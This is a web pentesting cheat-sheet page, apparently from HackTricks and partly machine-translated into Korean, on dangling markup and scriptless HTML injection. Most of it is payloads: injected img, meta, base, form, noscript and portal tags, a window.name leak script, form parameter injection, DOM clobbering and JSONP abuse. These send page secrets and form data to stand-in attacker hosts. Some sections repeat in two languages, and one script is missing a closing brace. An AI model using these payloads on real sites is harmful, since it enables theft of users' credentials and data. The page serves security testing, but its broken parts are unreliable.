.. | ||
README.md | ||
ss-leaks.md |
Dangling Markup - HTML scriptless injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Resume
이 기술은 HTML injection이 발견되었을 때 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. XSS XSS를 이용할 방법을 찾지 못했지만 HTML 태그를 주입할 수 있는 경우 매우 유용합니다.
또한 비밀이 HTML에 평문으로 저장되어 있고 이를 클라이언트에서 유출하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다.
여기에서 언급된 여러 기술은 정보를 예상치 못한 방식(HTML 태그, CSS, http-meta 태그, 폼, base 등)으로 유출하여 일부 Content Security Policy를 우회하는 데 사용할 수 있습니다.
Main Applications
Stealing clear text secrets
페이지가 로드될 때 <img src='http://evil.com/log.cgi?
를 주입하면 피해자는 주입된 img
태그와 코드 내의 다음 인용부호 사이의 모든 코드를 보내게 됩니다. 그 조각에 비밀이 포함되어 있다면, 당신은 그것을 훔칠 수 있습니다(더블 쿼트를 사용하여 같은 작업을 수행할 수 있으며, 어떤 것이 더 흥미로울지 살펴보세요).
img
태그가 금지된 경우(CSP 때문일 수 있음) <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
를 사용할 수도 있습니다.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Note that Chrome blocks HTTP URLs with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
CSS @import
를 악용할 수도 있습니다 (";"를 찾을 때까지 모든 코드를 전송합니다).
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
You could also use <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
You could also insert a <base
tag. 모든 정보는 인용이 닫힐 때까지 전송되지만 일부 사용자 상호작용이 필요합니다(사용자가 링크를 클릭해야 합니다. 왜냐하면 base 태그가 링크가 가리키는 도메인을 변경했기 때문입니다):
<base target=' <--- Injected
steal me'<b>test</b>
양식 훔치기
<base href='http://evil.com/'>
그런 다음, 경로에 데이터를 보내는 폼(<form action='update_profile.php'>
)은 악성 도메인으로 데이터를 보냅니다.
Stealing forms 2
폼 헤더를 설정합니다: <form action='http://evil.com/log_steal'>
이렇게 하면 다음 폼 헤더가 덮어쓰여지고 폼의 모든 데이터가 공격자에게 전송됩니다.
Stealing forms 3
버튼은 "formaction" 속성을 사용하여 폼 정보가 전송될 URL을 변경할 수 있습니다:
<button name=xss type=submit formaction='https://google.com'>I get consumed!
공격자는 이를 사용하여 정보를 훔칠 수 있습니다.
명확한 텍스트 비밀 훔치기 2
가장 최근에 언급된 기술을 사용하여 양식을 훔치고 (새 양식 헤더 주입) 새로운 입력 필드를 주입할 수 있습니다:
<input type='hidden' name='review_body' value="
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 콘텐츠와 다음 이중 따옴표 사이의 콘텐츠를 포함합니다. 이 공격은 "Stealing clear text secrets"와 "Stealing forms2"를 혼합합니다.
폼과 <option>
태그를 주입하여 동일한 작업을 수행할 수 있습니다. 닫힌 </option>
이 발견될 때까지 모든 데이터가 전송됩니다:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Form parameter injection
폼의 경로를 변경하고 새로운 값을 삽입하여 예상치 못한 작업이 수행되도록 할 수 있습니다:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Stealing clear text secrets via noscript
<noscript></noscript>
는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 활성화/비활성화할 수 있습니다: chrome://settings/content/javascript).
공격자가 제어하는 사이트로 주입 지점에서 하단까지 웹 페이지의 내용을 유출하는 방법은 다음을 주입하는 것입니다:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypassing CSP with user interaction
이 portswiggers 연구에서 가장 CSP 제한적인 환경에서도 사용자 상호작용을 통해 여전히 데이터를 유출할 수 있음을 알 수 있습니다. 이번 경우에는 페이로드를 사용할 것입니다:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
희생자에게 링크를 클릭하도록 요청하여 당신이 제어하는 payload로 리디렉션될 것임을 유의하십시오. 또한 base
태그 내의 target
속성은 다음 단일 인용부호까지 HTML 콘텐츠를 포함할 것입니다.
이로 인해 링크가 클릭되면 **window.name
**의 값은 모든 HTML 콘텐츠가 될 것입니다. 따라서 희생자가 링크를 클릭하여 접근하는 페이지를 제어하므로 해당 **window.name
**에 접근하고 그 데이터를 유출할 수 있습니다:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Misleading script workflow 1 - HTML namespace attack
HTML 내부에 새로운 태그와 id를 삽입하여 다음 태그를 덮어쓰고 스크립트의 흐름에 영향을 미치는 값을 설정합니다. 이 예제에서는 정보가 공유될 대상을 선택하고 있습니다:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Misleading script workflow 2 - Script namespace attack
HTML 태그를 삽입하여 자바스크립트 네임스페이스 내에 변수를 생성합니다. 그런 다음, 이 변수는 애플리케이션의 흐름에 영향을 미칩니다:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Abuse of JSONP
JSONP 인터페이스를 찾으면 임의의 데이터로 임의의 함수를 호출할 수 있습니다:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
또는 일부 자바스크립트를 실행해 볼 수도 있습니다:
<script src='/search?q=a&call=alert(1)'></script>
Iframe 남용
자식 문서는 교차 출처 상황에서도 부모의 location
속성을 보고 수정할 수 있는 능력을 가지고 있습니다. 이는 iframe 내에 스크립트를 삽입하여 클라이언트를 임의의 페이지로 리디렉션할 수 있게 합니다:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
이것은 다음과 같은 방법으로 완화할 수 있습니다: sandbox=' allow-scripts allow-top-navigation'
iframe은 또한 iframe name 속성을 사용하여 다른 페이지에서 민감한 정보를 유출하는 데 악용될 수 있습니다. 이는 HTML 주입을 악용하여 민감한 정보가 iframe name 속성 안에 나타나게 하는 iframe을 생성할 수 있기 때문이며, 그런 다음 초기 iframe에서 해당 이름에 접근하여 유출할 수 있습니다.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
You could use meta http-equiv
to perform several actions like setting a Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
or performing a redirect (in 5s in this case): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
This can be avoided with a CSP regarding http-equiv ( Content-Security-Policy: default-src 'self';
, or Content-Security-Policy: http-equiv 'self';
)
New <portal HTML tag
You can find a very interesting research on exploitable vulnerabilities of the <portal tag here.
At the moment of this writing you need to enable the portal tag on Chrome in chrome://flags/#enable-portals
or it won't work.
더 많은 정보는 여기를 확인하세요.
<meta 남용
**meta http-equiv
**를 사용하여 쿠키 설정: <meta http-equiv="Set-Cookie" Content="SESSID=1">
또는 리디렉션 수행(이 경우 5초 후): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
와 같은 여러 작업을 수행할 수 있습니다.
이는 http-equiv에 대한 CSP로 회피할 수 있습니다 ( Content-Security-Policy: default-src 'self';
, 또는 Content-Security-Policy: http-equiv 'self';
)
새로운 <portal HTML 태그
<portal 태그의 취약점에 대한 매우 흥미로운 연구를 여기에서 찾을 수 있습니다.
이 글을 작성하는 시점에서 Chrome에서 chrome://flags/#enable-portals
에서 portal 태그를 활성화해야 작동합니다.
<portal src='https://attacker-server?
HTML Leaks
HTML에서 연결을 유출하는 모든 방법이 Dangling Markup에 유용하지는 않지만, 때때로 도움이 될 수 있습니다. 여기에서 확인하세요: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
이것은 dangling markup와 XS-Leaks의 혼합입니다. 한편으로는 취약점이 같은 출처의 페이지에 HTML(하지만 JS는 아님)을 주입할 수 있게 합니다. 다른 한편으로는 HTML을 주입할 수 있는 페이지를 직접 공격하지 않고, 다른 페이지를 공격합니다.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search는 사이드 채널 공격을 악용하여 교차 출처 정보를 유출하는 데 초점을 맞춥니다. 따라서, 이것은 Dangling Markup과는 다른 기술이지만, 일부 기술은 HTML 태그의 포함을 악용합니다(JS 실행 여부와 관계없이), 예를 들어 CSS Injection 또는 Lazy Load Images.
{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
References
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.